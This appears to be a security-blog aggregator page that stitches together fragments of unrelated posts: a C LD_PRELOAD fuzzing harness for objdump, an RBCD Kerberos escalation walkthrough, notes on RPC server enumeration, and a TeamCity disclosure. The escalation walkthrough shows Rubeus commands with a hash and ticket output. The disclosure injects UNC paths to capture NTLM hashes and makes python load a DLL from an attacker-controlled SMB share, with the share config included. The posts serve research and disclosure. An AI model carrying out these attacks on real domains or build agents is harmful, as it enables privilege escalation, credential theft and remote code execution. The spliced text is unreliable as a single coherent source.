prlimit64(0, RLIMIT_NOFILE, NULL, {rlim_cur=4*1024, rlim_max=4*1024}) = 0
fstat(1337, 0x7fff4bf54c90) = -1 EBADF (Bad file descriptor)
fstat(1337, 0x7fff4bf54bf0) = -1 EBADF (Bad file descriptor)
As we’ve already learned, there is no direct export in libc for fstat()
, it’s one of those weird ones like stat()
and we actually have to hook __fxstat()
. So let’s try and hook that to see if it gets called for our 1337
file descriptor. The hook function will look like this to start:
// Declare prototype for the real __fxstat
typedef int (*__fxstat_t)(int __ver, int __filedesc, struct stat *__stat_buf);
__fxstat_t real_fxstat = NULL;
...
// Hook for __fxstat
int __fxstat (int __ver, int __filedesc, struct stat *__stat_buf) {
printf("** __fxstat() called for __filedesc: %d\n", __filedesc);
exit(0);
}
Now we also still have that fcntl()
to deal with, luckily that hook is straightforward, if someone asks for the F_GETFD
aka, the flags associated with that special 1337
file descriptor, we’ll simply return O_RDONLY
as those were the flags it was “opened” with, and we’ll just panic for now if someone calls it for a different file descriptor. This hook looks like this:
// Declare prototype for the real __fcntl
typedef int (*fcntl_t)(int fildes, int cmd, ...);
fcntl_t real_fcntl = NULL;
...
// Hook for fcntl
int fcntl(int fildes, int cmd, ...) {
// Resolve fcntl symbol if needed
if (NULL == real_fcntl) {
real_fcntl = _resolve_symbol("fcntl");
}
if (fildes == 1337) {
return O_RDONLY;
}
else {
printf("** fcntl() called for real file descriptor\n");
exit(0);
}
}
Running this under strace
now, the fcntl()
call is absent as we would expect:
openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=26376, ...}) = 0
mmap(NULL, 26376, PROT_READ, MAP_SHARED, 3, 0) = 0x7ff61d331000
close(3) = 0
prlimit64(0, RLIMIT_NOFILE, NULL, {rlim_cur=4*1024, rlim_max=4*1024}) = 0
fstat(1, {st_mode=S_IFREG|0664, st_size=0, ...}) = 0
write(1, "** __fxstat() called for __filed"..., 42) = 42
exit_group(0) = ?
+++ exited with 0 +++
Now we can flesh out our __fxstat()
hook with some logic. The caller is hoping to retrieve a stat struct
from the function for our fuzzing target fuzzme
by passing the special file descriptor 1337
. Luckily, we have our global stat struct
that we can return after we update its size to match that of the current input in memory (as tracked by us and the fuzzer as the value at INPUT_SIZE_ADDR
). So if called, we simply update our stat struct
size, and memcpy
our struct into their *__stat_buf
. Our complete hook now looks like this:
// Hook for __fxstat
int __fxstat (int __ver, int __filedesc, struct stat *__stat_buf) {
// Resolve the real fxstat
if (NULL == real_fxstat) {
real_fxstat = _resolve_symbol("__fxstat");
}
int ret = -1;
// Check to see if we're stat'ing our fuzz target
if (1337 == __filedesc) {
// Patch the global struct with current input size
st.st_size = *(size_t*)INPUT_SZ_ADDR;
// Copy global stat struct back to caller
memcpy(__stat_buf, &st, sizeof(struct stat));
ret = 0;
}
// Normal stat, send to real fxstat
else {
ret = real_fxstat(__ver, __filedesc, __stat_buf);
}
return ret;
}
Now if we run this, we actually don’t break and objdump is able exit cleanly under strace
.
Wrapping Up
To test whether or not we have done a fair job, we will go ahead and output objdump -D fuzzme
to a file, and then we’ll go ahead and output the same command but with our harness shared object loaded. Lastly, we’ll run objdump -D /bin/ed
and output to a file to see if our harness created the same output.
h0mbre@ubuntu:~/blogpost$ objdump -D fuzzme > /tmp/fuzzme_original.txt
h0mbre@ubuntu:~/blogpost$ LD_PRELOAD=/home/h0mbre/blogpost/blog_harness.so objdump -D fuzzme > /tmp/harness.txt
h0mbre@ubuntu:~/blogpost$ objdump -D /bin/ed > /tmp/ed.txt
Then we sha1sum
the files:
h0mbre@ubuntu:~/blogpost$ sha1sum /tmp/fuzzme_original.txt /tmp/harness.txt /tmp/ed.txt
938518c86301ab00ddf6a3ef528d7610fa3fd05a /tmp/fuzzme_original.txt
add4e6c3c298733f48fbfe143caee79445c2f196 /tmp/harness.txt
10454308b672022b40f6ce5e32a6217612b462c8 /tmp/ed.txt
We actually get three different hashes, we wanted the harness and /bin/ed
to output the same output since /bin/ed
is the input we loaded into memory.
h0mbre@ubuntu:~/blogpost$ ls -laht /tmp
total 14M
drwxrwxrwt 28 root root 128K Apr 3 08:44 .
-rw-rw-r-- 1 h0mbre h0mbre 736K Apr 3 08:43 ed.txt
-rw-rw-r-- 1 h0mbre h0mbre 736K Apr 3 08:43 harness.txt
-rw-rw-r-- 1 h0mbre h0mbre 2.2M Apr 3 08:42 fuzzme_original.txt
Ah, they are the same length at least, that must mean there is a subtle difference and diff
shows us why the hashes aren’t the same:
h0mbre@ubuntu:~/blogpost$ diff /tmp/ed.txt /tmp/harness.txt
2c2
< /bin/ed: file format elf64-x86-64
---
> fuzzme: file format elf64-x86-64
The name of the file in the argv[]
array is different, so that’s the only difference. In the end we were able to feed objdump an input file, but have it actually take input from an in-memory buffer in our harness.
One more thing, we actually forgot that objdump closes our file didn’t we! So I went ahead and added a quick fclose()
hook. We wouldn’t have any problems if fclose()
just wanted to free the heap memory associated with our fmemopen()
returned FILE *
; however, it would also probably try to call close()
on that wonky file descriptor as well and we don’t want that. It might not even matter in the end, just want to be safe. Up to the reader to experiment and see what changes. The imaginary fuzzer should restore FILE *
heap memory anyways during its snapshot restoration routine.
Conclusion
There are a million different ways to accomplish this goal, I just wanted to walk you through my thought process. There are actually a lot of cool things you can do with this harness, one thing I’ve done is actually hook malloc()
to fail on large allocations so that I don’t waste fuzzing cycles on things that will eventually timeout. You can also create an at_exit()
choke point so that no matter what, the program executes your at_exit()
function every time it is exiting which can be useful for snapshot resets if the program can take multiple exit paths as you only have to cover the one exit point.
Hopefully this was useful to some! The complete code to the harness is below, happy fuzzing!
/*
Compiler flags:
gcc -shared -Wall -Werror -fPIC blog_harness.c -o blog_harness.so -ldl
*/
#define _GNU_SOURCE /* dlsym */
#include <stdio.h> /* printf */
#include <sys/stat.h> /* stat */
#include <stdlib.h> /* exit */
#include <unistd.h> /* __xstat, __fxstat */
#include <dlfcn.h> /* dlsym and friends */
#include <sys/mman.h> /* mmap */
#include <string.h> /* memset */
#include <fcntl.h> /* open */
// Filename of the input file we're trying to emulate
#define FUZZ_TARGET "fuzzme"
// Definitions for our in-memory inputs
#define INPUT_SZ_ADDR 0x1336000
#define INPUT_ADDR 0x1337000
#define MAX_INPUT_SZ (1024 * 1024)
// For testing purposes, we read /bin/ed into our input buffer to simulate
// what the fuzzer would do
#define TEST_FILE "/bin/ed"
// Our "legit" global stat struct
struct stat st;
// FILE * returned to callers of fopen64()
FILE *faked_fp = NULL;
// Declare a prototype for the real stat as a function pointer
typedef int (*__xstat_t)(int __ver, const char *__filename, struct stat *__stat_buf);
__xstat_t real_xstat = NULL;
// Declare prototype for the real fopen and its friend fopen64
typedef FILE* (*fopen_t)(const char* pathname, const char* mode);
fopen_t real_fopen = NULL;
typedef FILE* (*fopen64_t)(const char* pathname, const char* mode);
fopen64_t real_fopen64 = NULL;
// Declare prototype for the real __fxstat
typedef int (*__fxstat_t)(int __ver, int __filedesc, struct stat *__stat_buf);
__fxstat_t real_fxstat = NULL;
// Declare prototype for the real __fcntl
typedef int (*fcntl_t)(int fildes, int cmd, ...);
fcntl_t real_fcntl = NULL;
// Returns memory address of *next* location of symbol in library search order
static void *_resolve_symbol(const char *symbol) {
// Clear previous errors
dlerror();
// Get symbol address
void* addr = dlsym(RTLD_NEXT, symbol);
// Check for error
char* err = NULL;
err = dlerror();
if (err) {
addr = NULL;
printf("** Err resolving '%s' addr: %s\n", symbol, err);
exit(-1);
}
return addr;
}
// Hook for __xstat
int __xstat(int __ver, const char* __filename, struct stat* __stat_buf) {
// Resolve the real __xstat() on demand and maybe multiple times!
if (!real_xstat) {
real_xstat = _resolve_symbol("__xstat");
}
// Assume the worst, always
int ret = -1;
// Special __ver value check to see if we're calling from constructor
if (0x1337 == __ver) {
// Patch back up the version value before sending to real xstat
__ver = 1;
ret = real_xstat(__ver, __filename, __stat_buf);
// Set the real_xstat back to NULL
real_xstat = NULL;
return ret;
}
// Determine if we're stat'ing our fuzzing target
if (!strcmp(__filename, FUZZ_TARGET)) {
// Update our global stat struct
st.st_size = *(size_t *)INPUT_SZ_ADDR;
// Send it back to the caller, skip syscall
memcpy(__stat_buf, &st, sizeof(struct stat));
ret = 0;
}
// Just a normal stat, send to real xstat
else {
ret = real_xstat(__ver, __filename, __stat_buf);
}
return ret;
}
// Exploratory hooks to see if we're using fopen() related functions to open
// our input file
FILE* fopen(const char* pathname, const char* mode) {
printf("** fopen() called for '%s'\n", pathname);
exit(0);
}
// Our fopen hook, return a FILE* to the caller, also, if we are opening our
// target make sure we're not able to write to the file
FILE* fopen64(const char* pathname, const char* mode) {
// Resolve symbol on demand and only once
if (NULL == real_fopen64) {
real_fopen64 = _resolve_symbol("fopen64");
}
// Check to see what file we're opening
FILE* ret = NULL;
if (!strcmp(FUZZ_TARGET, pathname)) {
// We're trying to open our file, make sure it's a read-only mode
if (strcmp(mode, "r")) {
printf("** Attempt to open fuzz-target in illegal mode: '%s'\n", mode);
exit(-1);
}
// Open shared memory FILE* and return to caller
ret = fmemopen((void*)INPUT_ADDR, *(size_t*)INPUT_SZ_ADDR, mode);
// Make sure we've never fopen()'d our fuzzing target before
if (faked_fp) {
printf("** Attempting to fopen64() fuzzing target more than once\n");
exit(-1);
}
// Update faked_fp
faked_fp = ret;
// Change the filedes to something we know
ret->_fileno = 1337;
}
// We're not opening our file, send to regular fopen
else {
ret = real_fopen64(pathname, mode);
}
// Return FILE stream ptr to caller
return ret;
}
// Hook for __fxstat
int __fxstat (int __ver, int __filedesc, struct stat *__stat_buf) {
// Resolve the real fxstat
if (NULL == real_fxstat) {
real_fxstat = _resolve_symbol("__fxstat");
}
int ret = -1;
// Check to see if we're stat'ing our fuzz target
if (1337 == __filedesc) {
// Patch the global struct with current input size
st.st_size = *(size_t*)INPUT_SZ_ADDR;
// Copy global stat struct back to caller
memcpy(__stat_buf, &st, sizeof(struct stat));
ret = 0;
}
// Normal stat, send to real fxstat
else {
ret = real_fxstat(__ver, __filedesc, __stat_buf);
}
return ret;
}
// Hook for fcntl
int fcntl(int fildes, int cmd, ...) {
// Resolve fcntl symbol if needed
if (NULL == real_fcntl) {
real_fcntl = _resolve_symbol("fcntl");
}
if (fildes == 1337) {
return O_RDONLY;
}
else {
printf("** fcntl() called for real file descriptor\n");
exit(0);
}
}
// Map memory to hold our inputs in memory and information about their size
static void _create_mem_mappings(void) {
void *result = NULL;
// Map the page to hold the input size
result = mmap(
(void *)(INPUT_SZ_ADDR),
sizeof(size_t),
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
0,
0
);
if ((MAP_FAILED == result) || (result != (void *)INPUT_SZ_ADDR)) {
printf("** Err mapping INPUT_SZ_ADDR, mapped @ %p\n", result);
exit(-1);
}
// Let's actually initialize the value at the input size location as well
*(size_t *)INPUT_SZ_ADDR = 0;
// Map the pages to hold the input contents
result = mmap(
(void *)(INPUT_ADDR),
(size_t)(MAX_INPUT_SZ),
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,
0,
0
);
if ((MAP_FAILED == result) || (result != (void *)INPUT_ADDR)) {
printf("** Err mapping INPUT_ADDR, mapped @ %p\n", result);
exit(-1);
}
// Init the value
memset((void *)INPUT_ADDR, 0, (size_t)MAX_INPUT_SZ);
}
// Create a "legit" stat struct globally to pass to callers
static void _setup_stat_struct(void) {
int result = __xstat(0x1337, FUZZ_TARGET, &st);
if (-1 == result) {
printf("** Err creating stat struct for '%s' during load\n", FUZZ_TARGET);
}
}
// Used for testing, load /bin/ed into the input buffer and update its size info
#ifdef TEST
static void _test_func(void) {
// Open TEST_FILE for reading
int fd = open(TEST_FILE, O_RDONLY);
if (-1 == fd) {
printf("** Failed to open '%s' during test\n", TEST_FILE);
exit(-1);
}
// Attempt to read max input buf size
ssize_t bytes = read(fd, (void*)INPUT_ADDR, (size_t)MAX_INPUT_SZ);
close(fd);
// Update the input size
*(size_t *)INPUT_SZ_ADDR = (size_t)bytes;
}
#endif
// Routine to be called when our shared object is loaded
__attribute__((constructor)) static void _hook_load(void) {
// Create memory mappings to hold our input and information about its size
_create_mem_mappings();
// Setup global "legit" stat struct
_setup_stat_struct();
// If we're testing, load /bin/ed up into our input buffer and update size
#ifdef TEST
_test_func();
#endif
}
HyperGuard Part 3 – More SKPG Extents
[Video] Exploiting Windows RPC – CVE-2022-26809 Explained | Patch Analysis
Walking through my process of how I use patch analysis and reverse engineering to find vulnerabilities, then evaluate the risk and exploitability of bugs.
The post [Video] Exploiting Windows RPC – CVE-2022-26809 Explained | Patch Analysis appeared first on MalwareTech.
- MalwareTech
- [Video] Introduction to Use-After-Free Vulnerabilities | UserAfterFree Challenge Walkthrough (Part: 1)
[Video] Introduction to Use-After-Free Vulnerabilities | UserAfterFree Challenge Walkthrough (Part: 1)
An introduction to Use-After-Free exploitation and walking through one of my old challenges. Challenge Info: https://www.malwaretech.com/challenges/windows-exploitation/user-after-free-1-0 Download Link: https://malwaretech.com/downloads/challenges/UserAfterFree2.0.rar Password: MalwareTech
The post [Video] Introduction to Use-After-Free Vulnerabilities | UserAfterFree Challenge Walkthrough (Part: 1) appeared first on MalwareTech.
One Year to I/O Ring: What Changed?
Exploiting RBCD Using a Normal User Account*
* Caveats apply.
Resource Based Constrained Delegate (RBCD) privilege escalation, described by Elad Shamir in the "Wagging the Dog" blog post is a devious way of exploiting Kerberos to elevate privileged on a local Windows machine. All it requires is write access to local computer's domain account to modify the msDS-AllowedToActOnBehalfOfOtherIdentity LDAP attribute to add another account's SID. You can then use that account with the Services For User (S4U) protocols to get a Kerberos service ticket for the local machine as any user on the domain including local administrators. From there you can create a new service or whatever else you need to do.
The key is how you write to the LDAP server under the local computer's domain account. There's been various approaches usually abusing authentication relay. For example, I described one relay vector which abused DCOM. Someone else has then put this together in a turnkey tool, KrbRelayUp.
One additional criteria for this to work is having access to another computer account to perform the attack. Well this isn't strictly true, there's the Shadow Credentials attack which allows you to reuse the same local computer account, but in general you need a computer account you control. Normally this isn't a problem, as the DC allows normal users to create new computer accounts up to a limit set by the domain's ms-DS-MachineAccountQuota attribute value. This attribute defaults to 10, but an administrator could set it to 0 and block the attack, which is probably recommend.
But I wondered why this wouldn't work as a normal user. The msDS-AllowedToActOnBehalfOfOtherIdentity attribute just needs the SID for the account to be allowed to delegate to the computer. Why can't we just add the user's SID and perform the S4U dance? To give us the best chance I'll assume we have knowledge of a user's password, how you get this is entirely up to you. Running the attack through Rubeus shows our problem.
PS C:\> Rubeus.exe s4u /user:charlie /domain:domain.local /dc:primarydc.domain.local /rc4:79bf93c9501b151506adc21ba0397b33 /impersonateuser:Administrator /msdsspn:cifs/WIN10TEST.domain.local
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.3
[*] Action: S4U
[*] Using rc4_hmac hash: 79bf93c9501b151506adc21ba0397b33
[*] Building AS-REQ (w/ preauth) for: 'domain.local\charlie'
[*] Using domain controller: 10.0.0.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFc...
[*] Action: S4U
[*] Building S4U2self request for: '[email protected]'
[*] Using domain controller: primarydc.domain.local (10.0.0.10)
[*] Sending S4U2self request to 10.0.0.10:88
[X] KRB-ERROR (7) : KDC_ERR_S_PRINCIPAL_UNKNOWN
[X] S4U2Self failed, unable to perform S4U2Proxy.
We don't even get past the first S4U2Self stage of the attack, it fails with a KDC_ERR_S_PRINCIPAL_UNKNOWN error. This error typically indicates the KDC doesn't know what encryption key to use for the generated ticket. If you add an SPN to the user's account however it all succeeds. This would imply it's not a problem with a user account per-se, but instead just a problem of the KDC not being able to select the correct key.
Technically speaking there should be no reason that the KDC couldn't use the user's long term key if you requested a ticket for their UPN, but it doesn't (contrary to an argument I had on /r/netsec the other day with someone who was adamant that SPN's are a convenience, not a fundamental requirement of Kerberos).
So what to do? There is a way of getting a ticket encrypted for a UPN by using the User 2 User (U2U) extension. Would this work here? Looking at the Rubeus code it seems requesting a U2U S4U2Self ticket is supported, but the parameters are not set for the S4U attack. Let's set those parameters to request a U2U ticket and see if it works.
[*] Got a TGS for 'Administrator' to '[email protected]'
[*] base64(ticket.kirbi): doIF...bGll
[*] Impersonating user 'Administrator' to target SPN 'cifs/WIN10TEST.domain.local'
[*] Building S4U2proxy request for service: 'cifs/WIN10TEST.domain.local'
[*] Using domain controller: primarydc.domain.local (10.0.0.10)
[*] Sending S4U2proxy request to domain controller 10.0.0.10:88
[X] KRB-ERROR (13) : KDC_ERR_BADOPTION
Okay, we're getting closer. The S4U2Self request was successful, unfortunately the S4U2Proxy request was not, failing with a KDC_ERR_BADOPTION error. After a bit of playing around this is almost certainly because the KDC can't decrypt the ticket sent in the S4U2Proxy request. It'll try the user's long term key, but that will obviously fail. I tried to see if I could send the user's TGT with the request (in addition to the S4U2Self service ticket) but it still failed. Is this not going to be possible?
Thinking about this a bit more, I wondered, could I decrypt the S4U2Self ticket and then encrypt with the long term key I already know for the user? Technically speaking this would create a valid Kerberos ticket, however it wouldn't create a valid PAC. This is because the PAC contains a Server Signature which is a HMAC of the PAC using the key used to encrypt the ticket. The KDC checks this to ensure the PAC hasn't been modified or put into a new ticket, and if it's incorrect it'll fail the request.
As we know the key, we could just update this value. However, the Server Signature is protected by the KDC Signature which is a HMAC keyed with the KDC's own key. We don't know this key and so we can't update this second signature to match the modified Server Signature. Looks like we're stuck.
Still, what would happen if the user's long term key happened to match the TGT session key we used to encrypt the S4U2Self ticket? It's pretty unlikely to happen by chance, but with knowledge of the user's password we could conceivably change the user's password on the DC between the S4U2Self and the S4U2Proxy requests so that when submitting the ticket the KDC can decrypt it and perhaps we can successfully get the delegated ticket.
As we know the TGT's session key, one obvious approach would be to "crack" the hash value back to a valid Unicode password. For AES keys I think this is going to be difficult and even if successful could be time consuming. However, RC4 keys are just a MD4 hash with no additional protection against brute force cracking. Fortunately the code in Rubeus defaults to requesting an RC4 session key for the TGT, and MS have yet to disable RC4 by default in Windows domains. This seems like it might be doable, even if it takes a long time. We would also need the "cracked" password to be valid per the domain's password policy which adds extra complications.
However, I recalled when playing with the SAM RPC APIs that there is a SamrChangePasswordUser method which will change a user's password to an arbitrary NT hash. The only requirement is knowledge of the existing NT hash and we can set any new NT hash we like. This doesn't need to honor the password policy, except for the minimum age setting. We don't even need to deal with how to call the RPC API correctly as the SAM DLL exports the SamiChangePasswordUser API which does all the hard work.
I took some example C# code written by Vincent Le Toux and plugged that into Rubeus at the correct point, passing the current TGT's session key as the new NT hash. Let's see if it works:
SamrOpenDomain OK
rid is 1208
SamOpenUser OK
SamiChangePasswordUser OK
[*] Impersonating user 'Administrator' to target SPN 'cifs/WIN10TEST.domain.local'
[*] Building S4U2proxy request for service: 'cifs/WIN10TEST.domain.local'
[*] Using domain controller: primarydc.domain.local (10.0.0.10)
[*] Sending S4U2proxy request to domain controller 10.0.0.10:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/WIN10TEST.domain.local':
doIG3...
And it does! Now the caveats:
- This will obviously only work if RC4 is still enabled on the domain.
- You will need the user's password or NT hash. I couldn't think of a way of doing this with only a valid TGT.
- The user is sacrificial, it might be hard to login using a password afterwards. If you can't immediately reset the password due to the domain's policy the user might be completely broken.
- It's not very silent, but that's not my problem.
- You're probably better to just do the shadow credentials attack, if PKINIT is enabled.
Finding Running RPC Server Information with NtObjectManager
When doing security research I regularly use my NtObjectManager PowerShell module to discover and call RPC servers on Windows. Typically I'll use the Get-RpcServer command, passing the name of a DLL or EXE file to extract the embedded RPC servers. I can then use the returned server objects to create a client to access the server and call its methods. A good blog post about how some of this works was written recently by blueclearjar.
Using Get-RpcServer only gives you a list of what RPC servers could possibly be running, not whether they are running and if so in what process. This is where the RpcView does better, as it parses a process' in-memory RPC structures to find what is registered and where. Unfortunately this is something that I'm yet to implement in NtObjectManager.
However, it turns out there's various ways to get the running RPC server information which are provided by OS and the RPC runtime which we can use to get a more or less complete list of running servers. I've exposed all the ones I know about with some recent updates to the module. Let's go through the various ways you can piece together this information.
NOTE some of the examples of PowerShell code will need a recent build of the NtObjectManager module. For various reasons I've not been updating the version of the PS gallery, so get the source code from github and build it yourself.
RPC Endpoint Mapper
If you're lucky this is simplest way to find out if a particular RPC server is running. When an RPC server is started the service can register an RPC interface with the function RpcEpRegister specifying the interface UUID and version along with the binding information with the RPC endpoint mapper service running in RPCSS. This registers all current RPC endpoints the server is listening on keyed against the RPC interface.
You can query the endpoint table using the RpcMgmtEpEltInqBegin and RpcMgmtEpEltInqNext APIs. I expose this through the Get-RpcEndpoint command. Running Get-RpcEndpoint with no parameters returns all interfaces the local endpoint mapper knows about as shown below.
Note that in addition to the interface UUID and version the output shows the binding information for the endpoint, such as the protocol sequence and endpoint. There is also a free form annotation field, but that can be set to anything the server likes when it calls RpcEpRegister.
The APIs also allow you to specify a remote server hosting the endpoint mapper. You can use this to query what RPC servers are running on a remote server, assuming the firewall doesn't block you. To do this you'd need to specify a binding string for the SearchBinding parameter as shown.
---- ------- -------- -------- ----------
d95afe70-a6d5-4259-822e-2c84da1ddb0d 1.0 ncacn_ip_tcp 49664
5b821720-f63b-11d0-aad2-00c04fc324db 1.0 ncacn_ip_tcp 49688
650a7e26-eab8-5533-ce43-9c1dfce11511 1.0 ncacn_np \PIPE\ROUTER Vpn APIs
...
The big issue with the RPC endpoint mapper is it only contains RPC interfaces which were explicitly registered against an endpoint. The server could contain many more interfaces which could be accessible, but as they weren't registered they won't be returned from the endpoint mapper. Registration will typically only be used if the server is using an ephemeral name for the endpoint, such as a random TCP port or auto-generated ALPC name.
Pros:
- Simple command to run to get a good list of running RPC servers.
- Can be run against remote servers to find out remotely accessible RPC servers.
- Only returns the RPC servers intentionally registered.
- Doesn't directly give you the hosting process, although the optional annotation might give you a clue.
- Doesn't give you any information about what the RPC server does, you'll need to find what executable it's hosted in and parse it using Get-RpcServer.
Service Executable
If the RPC servers you extract are in a registered system service executable then the module will try and work out what service that corresponds to by querying the SCM. The default output from the Get-RpcServer command will show this as the Service column shown below.
Name UUID Ver Procs EPs Service Running
---- ---- --- ----- --- ------- -------
appinfo.dll 0497b57d-2e66-424f-a0c6-157cd5d41700 1.0 7 1 Appinfo True
appinfo.dll 58e604e8-9adb-4d2e-a464-3b0683fb1480 1.0 1 1 Appinfo True
appinfo.dll fd7a0523-dc70-43dd-9b2e-9c5ed48225b1 1.0 1 1 Appinfo True
appinfo.dll 5f54ce7d-5b79-4175-8584-cb65313a0e98 1.0 1 1 Appinfo True
appinfo.dll 201ef99a-7fa0-444c-9399-19ba84f12a1a 1.0 7 1 Appinfo True
The output also shows the appinfo.dll executable is the implementation of the Appinfo service, which is the general name for the UAC service. Note here that is also shows whether the service is running, but that's just for convenience. You can use this information to find what process is likely to be hosting the RPC server by querying for the service PID if it's running.
Name Status ProcessId
---- ------ ---------
Appinfo Running 6020
The output also shows that each of the interfaces have an endpoint which is registered against the interface UUID and version. This is extracted from the endpoint mapper which makes it again only for convenience. However, if you pick an executable which isn't a service implementation the results are less useful:
The efslsaext.dll implements one of the EFS implementations, which are all hosted in LSASS. However, it's not a registered service so the output doesn't show any service name. And it's also not registered with the endpoint mapper so doesn't show any endpoints, but it is running.
Pros:
- If the executable's a service it gives you a good idea of who's hosting the RPC servers and if they're currently running.
- You can get the RPC server interface information along with that information.
- If the executable isn't a service it doesn't directly help.
- It doesn't ensure the RPC servers are running if they're not registered in the endpoint mapper.
- Even if the service is running it might not have enabled the RPC servers.
Enumerating Process Modules
Extracting the RPC servers from an arbitrary executable is fine offline, but what if you want to know what RPC servers are running right now? This is similar to RpcView's process list GUI, you can look at a process and find all all the services running within it.
It turns out there's a really obvious way of getting a list of the potential services running in a process, enumerate the loaded DLLs using an API such as EnumerateLoadedModules, and then run Get-RpcServer on each one to extract the potential services. To use the APIs you'd need to have at least read access to the target process, which means you'd really want to be an administrator, but that's no different to RpcView's limitations.
The big problem is just because a module is loaded it doesn't mean the RPC server is running. For example the WinHTTP DLL has a built-in RPC server which is only loaded when running the WinHTTP proxy service, but the DLL could be loaded in any process which uses the APIs.
To simplify things I expose this approach through the Get-RpcServer function with the ProcessId parameter. You can also use the ServiceName parameter to lookup a service PID if you're interested in a specific service.
Name UUID Ver Procs EPs Service Running ---- ---- --- ----- --- ------- -------
RPCRT4.dll afa8bd80-7d8a-11c9-bef4-... 1.0 5 0 False
combase.dll e1ac57d7-2eeb-4553-b980-... 0.0 0 0 False
combase.dll 00000143-0000-0000-c000-... 0.0 0 0 False
Pros:
- You can determine all RPC servers which could be potentially running for an arbitrary process.
- It doesn't ensure the RPC servers are running if they're not registered in the endpoint mapper.
- You can't directly enumerate the module list, except for the main executable, from a protected process (there's are various tricks do so, but out of scope here).
Asking an RPC Endpoint Nicely
Pros:
- You can determine exactly what RPC servers are running in a process.
- You can't directly determine what the RPC server does as the list gives you no information about which module is hosting it.
Combining Approaches
- Winsider Seminars & Solutions Inc.
- One I/O Ring to Rule Them All: A Full Read/Write Exploit Primitive on Windows 11
A case of DLL Side Loading from UNC via Windows environmental variable
About a month ago I decided to take a look at JetBrains TeamCity, as I wanted to learn more about CVE-2022-25263 (an authenticated OS Command Injection in the Agent Push functionality).
Initially I just wanted to find the affected feature and test the mitigation put in place, eventually I ended up searching for other interesting behaviors that could be considered security issues- and came across something I believed was a vulnerability, however upon disclosure the vendor convinced me that the situation was considered normal in TeamCity's context and its thread model. Since the feature I was testing allowed me to set some of the environmental variables later passed to the given builder step process (in my case it was python.exe).
During that process I accidently discovered that Python on Windows can be used to side-load an arbitrary DLL named rsaenh.dll, placed in a directory named system32, located in a directory pointed by the SystemRoot environment variable passed to the process (it loads %SystemRoot%/system32/rsaenh.dll).
For the purpose of testing, I installed TeamCity on Windows 10 64-bit, with default settings, setting both the TeamCity Server and the TeamCity Build Agent to run as a regular user (which is the default setting).
I used the same system for both the TeamCity Server and the Build Agent.
First, as admin, I created a sample project with one build step of type Python.
I installed Python3 (python3.10 from the Microsoft App Store, checked the box to get it added to the PATH), so the agent would be compatible to run the build. I also created a hello world python build script:
From that point I switched to a regular user account, which was not allowed to define or edit build steps, but only to trigger them, with the ability to control custom build parameters (including some environmental variables).
I came across two separate instances of UNC path injection, allowing me to attack the Build Agent. In both cases I could make the system connect via SMB to the share of my choosing (allowing me to capture the NTLM hash, so I could try to crack it offline or SMB-relay it).
In case of build steps utilizing python, it also turned out possible to load an arbitrary DLL file from the share I set up with smbd hosted from the KALI box.
The local IP address of the Windows system was 192.168.99.4. I ran a KALI Linux box in the same network, under 192.168.99.5.
Injecting UNC to capture the hash / NTLM-relay
On the KALI box, I ran responder with default settings, like this:
Then, before running the build, I set the teamcity.build.checkoutDir parameter to \\192.168.99.5\pub:
I also ran Procmon and set up a filter to catch any events with the "Path" attribute containing "192.168.99.5".
I clicked "Run Build", which resulted in the UNC path being read by the service, as shown in the screenshot below:
Responder successfully caught the hash (multiple times):
I noticed that the teamcity.build.checkoutDir was validated and eventually it would not be used to attempt to load the build script (which was what I was trying to achieve in the first place by tampering with it), and the application fell back on the default value C:\TeamCity\buildAgent\work\2b35ac7e0452d98f when running the build. Still, before validation, the service interacted with the share, which I believe should not be the case.
Injecting UNC to load arbitrary DLL
I discovered I could attack the Build Agent by poisoning environmental variables the same way as I attacked the server, via build parameter customization.
Since my build step used python, I played with it a bit to see if I could influence the way it loads DLLs by changing environmental variables. It turned out I could.
Python on Windows can be used to side-load an arbitrary DLL named rsaenh.dll, placed in a directory named system32, located in a directory pointed by the SystemRoot environment variable passed to the process.
For example, by setting the SystemRoot environmental variable to "\\192.168.99.5\pub" (from the default "C:\WINDOWS" value):
In case of python3.10.exe, this resulted in the python executable trying to load \\192.168.99.5\pub\system32\rsaenh.dll:
With Responder running, just like in case of attacking the TeamCity Server, hashes were captured:
However, since python3.10 looked eager to load a DLL from a path that could be controlled with the SystemRoot variable, I decided to spin up an SMB share with public anonymous access and provide a copy of the original rsaenh.dll file into the pub\system32\ directory shared with SMB.
I used the following /etc/samba/smb.config:
[global]
workgroup = WORKGROUP
log file = /var/log/samba/log.%m
max log size = 1000
logging = file
panic action = /usr/share/samba/panic-action %d
server role = standalone server
map to guest = bad user
[pub]
comment = some useful files
read only = no
path = /home/pub
guest ok = yes
create mask = 0777
directory mask = 0777
I stopped Responder to free up the 445 port, I started smbd:
service smbd start
Then, I ran the build again, and had the python3.10 executable successfully load and execute the DLL from my share, demonstrating a vector of RCE on the Build Agent:
Not an issue from TeamCity perspective
About a week after reporting the issue to the vendor, I received a response, clarifying that any user having access to TeamCity is considered to have access to all build agent systems, therefore code execution on any build agent system, triggered from low-privileged user in TeamCity, does not violate any security boundaries. They also provided an example of an earlier, very similar submission, and the clarification that was given upon its closure https://youtrack.jetbrains.com/issue/TW-74408 (with a nice code injection vector via perl environmental variable).
python loading rsaenh.dll following the SystemRoot env variable
The fact that python used an environmental variable to load a DLL is an interesting occurrence on its own, as it could be used locally as an evasive technique alternative to rundll32.exe (https://attack.mitre.org/techniques/T1574/002/, https://attack.mitre.org/techniques/T1129/) - to inject malicious code into a process created from an original, signed python3.10.exe executable .
POC
The following code was used to build the DLL. It simply grabs the current username and current process command line, and appends them to a text file named poc.txt. Whenever DllMain is executed, for whatever reason, the poc.txt file will be appended with a line containing those details:
First, let's try to get it loaded without any signatures, locally:
Procmon output watching for any events with Path ending with "rsaenh.dll":
The poc.txt file was created in the current directory of C:\Users\ewilded\HACKING\SHELLING\research\cmd.exe\python3_side_loading_via_SystemRoot while running python:
Similar cases
